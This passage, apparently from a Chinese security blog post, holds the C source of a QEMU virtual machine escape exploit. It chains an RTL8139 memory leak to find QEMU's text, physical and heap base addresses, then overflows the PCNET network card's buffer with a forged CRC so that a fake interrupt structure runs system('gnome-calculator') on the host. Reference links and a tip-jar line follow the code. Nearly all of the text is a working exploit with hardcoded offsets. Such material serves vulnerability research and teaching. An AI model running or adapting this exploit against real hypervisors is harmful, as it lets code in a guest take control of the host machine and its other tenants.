0x52, 0x54, 0x00, 0x12, 0x34, 0x56, 0x52,
0x54, 0x00, 0x12, 0x34, 0x56, 0x08, 0x00,
};


/* generated using the AUTODIN II polynomial
* x^32 + x^26 + x^23 + x^22 + x^16 +
* x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
*/
static const uint32_t crctab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};

static int fd = -1;

/* PCNET primitives */
void pcnet_packet_patch_crc(uint8_t *packet, uint32_t current,
uint32_t target)
{
size_t i = 0, j;
uint8_t *ptr;
uint32_t workspace[2] = { current, target };
for (i = 0; i < 2; i++)
workspace[i] &= (uint32_t)~0;
ptr = (uint8_t *)(workspace + 1);
for (i = 0; i < 4; i++) {
j = 0;
while(crctab[j] >> 24 != *(ptr + 3 - i)) j++;
*((uint32_t *)(ptr - i)) ^= crctab[j];
*(ptr - i - 1) ^= j;
}
strncpy(packet, ptr - 4, 4);
}

uint64_t pcnet_card_config(struct pcnet_config *config,
struct pcnet_desc *rx_desc,
struct pcnet_desc *tx_desc)
{
memset(config, 0, sizeof(struct pcnet_config));

config->mode = LOOP | PROM;
strcpy(config->mac, "\xaa\xbb\xcc\xdd\xee\xff");
config->rlen = 0x0;
config->tlen = 0x0;
config->rx_desc = (uint32_t)gva_to_gpa(rx_desc);
config->tx_desc = (uint32_t)gva_to_gpa(tx_desc);
return gva_to_gpa(config);
}

void pcnet_desc_config(struct pcnet_desc *desc, void *buffer, int is_rx)
{
uint16_t bcnt = -PCNET_BUFFER_SIZE;
bcnt &= 0xfff;
bcnt |= 0xf000;

memset(desc, 0, sizeof(struct pcnet_desc));
memset(buffer, 0, PCNET_BUFFER_SIZE);
desc->addr = (uint32_t)gva_to_gpa(buffer);
desc->length = bcnt;
if (is_rx) {
/* receive buffers owned by the card */
desc->status_2 = 0x80;
}
}

void pcnet_packet_send(struct pcnet_desc *desc, void *buffer,
void *packet, size_t len)
{
if (len <= PCNET_BUFFER_SIZE) {
memcpy(buffer, packet, len);

/* set STP ENP ADDFCS bits */
desc->status_2 |= 0x23;

len = (-len);
len &= 0xfff;
len |= 0xf000;
desc->length = len;

/* flip ownership to card */
desc->status_2 |= 0x80;

/* signal packet */
outw(0, PCNET_PORT + RAP);
outw(0x8, PCNET_PORT + RDP);
}
}

int main()
{
/* first part is info leaking, go to cve-2015-5165.c to get more details */
struct rtl8139_ring *rtl8139_rx_ring;
struct rtl8139_desc *rtl8139_rx_desc, rtl8139_tx_desc;
void *rtl8139_tx_buffer;
uint32_t rtl8139_rx_nb = 44;
uint32_t i;

fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
puts("open pagemap failed!");
exit(0);
}

rtl8139_rx_ring = (struct rtl8139_ring*)calloc(rtl8139_rx_nb, sizeof(struct rtl8139_ring));
rtl8139_rx_desc = (struct rtl8139_desc* )aligned_alloc(PAGE_SIZE, sizeof(struct rtl8139_desc) * rtl8139_rx_nb);
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

iopl(3);

rtl8139_card_config();
rtl8139_desc_config_tx(&rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);

rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet, sizeof(rtl8139_packet));

sleep(2);
/* dump packet content in xxd style */
//for (i = 0; i < rtl8139_rx_nb; i++)
// xxd(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);

uint64_t text_base, phy_base, heap_base;

for (i=0; i<rtl8139_rx_nb; i++) {
text_base = qemu_search_text_base(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
if (text_base != 0)
break;
}

if (text_base == 0){
puts("text base not found\n");
exit(0);
}
printf("[+]text base found: 0x%lx\n", text_base);

for (i=0; i<rtl8139_rx_nb; i++) {
phy_base = qemu_search_phy_base(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
if (phy_base != 0)
break;
}

if (phy_base == 0){
puts("phy base not found\n");
exit(0);
}
printf("[+]physical base found: 0x%lx\n", phy_base);


for (i=0; i<rtl8139_rx_nb; i++) {
heap_base = qemu_search_heap_base(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE, text_base);
if (heap_base != 0)
break;
}

if (heap_base == 0){
puts("heap base not found\n");
exit(0);
}
printf("[+]heap base found: 0x%lx\n", heap_base);

/* second part is about hajacking the control flow */
struct pcnet_config pcnet_config;
uint32_t pcnet_config_mem;
struct pcnet_desc pcnet_tx_desc page_aligned;
struct pcnet_desc pcnet_rx_desc page_aligned;
void *pcnet_rx_buffer, *pcnet_tx_buffer;

uint32_t fcs = ~0;

uint16_t lo, hi;

uint64_t system_plt = text_base + 0x9b858;
uint64_t pcnet_buffer_addr = heap_base + (0x561999c43a10-0x561999a55000);
//0x17ba310 0x1eea10
printf("[+]system_plt = %p\n",system_plt);
printf("[+]pcnet_buffer_addr = %p\n",pcnet_buffer_addr);

getchar();
uint64_t *ptr;
uint8_t *c_ptr;
/* build the fake irq in pcnet_packet +0x10 */
ptr = (uint64_t *)(pcnet_packet + 0x10);

*ptr = system_plt;
*(ptr+1) = pcnet_buffer_addr+0x20;
*(ptr+2) = 0x61632d656d6f6e67;
*(ptr+3) = 0x726f74616c75636c;

pcnet_rx_buffer = (uint64_t *)aligned_alloc(PAGE_SIZE, PCNET_BUFFER_SIZE);
pcnet_tx_buffer = (uint64_t *)aligned_alloc(PAGE_SIZE, PCNET_BUFFER_SIZE);
/* setup rx */
pcnet_desc_config(&pcnet_rx_desc, pcnet_rx_buffer, 1);
/* setup tx */
pcnet_desc_config(&pcnet_tx_desc, pcnet_tx_buffer, 0);
/* setup pcnet config struct and get the physical address */
pcnet_config_mem = (uint32_t)pcnet_card_config(&pcnet_config,
&pcnet_rx_desc,
&pcnet_tx_desc);
lo = (uint16_t)pcnet_config_mem;
hi = pcnet_config_mem >> 16;
/* get the crc which value is fake_irq_addr */
uint32_t fake_irq_addr = (pcnet_buffer_addr+0x10-0x30) & 0xffffffff;
/* compute required crc */
c_ptr = pcnet_packet;
while (c_ptr != &pcnet_packet[PCNET_BUFFER_SIZE - 4])
CRC(fcs, *c_ptr++);
pcnet_packet_patch_crc(c_ptr, fcs, htonl(fake_irq_addr));

/* soft reset */
inl(PCNET_PORT + 0x18);

/* set swstyle */
outw(58, PCNET_PORT + RAP);
outw(0x0102, PCNET_PORT + RDP);

/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);

/* init and start */
outw(0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);

sleep(2);
// trigger the vuln and execute system("gnome-calculator")
pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);

return 0;
}

image-20200804140034047

参考

https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/

https://kirin-say.top/2019/12/01/QEMU-Escape-Learning/#0x02-Set-Environment

[https://ray-cp.github.io/archivers/qemu-pwn-cve-2015-7504%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90](

打赏还是打残,这是个问题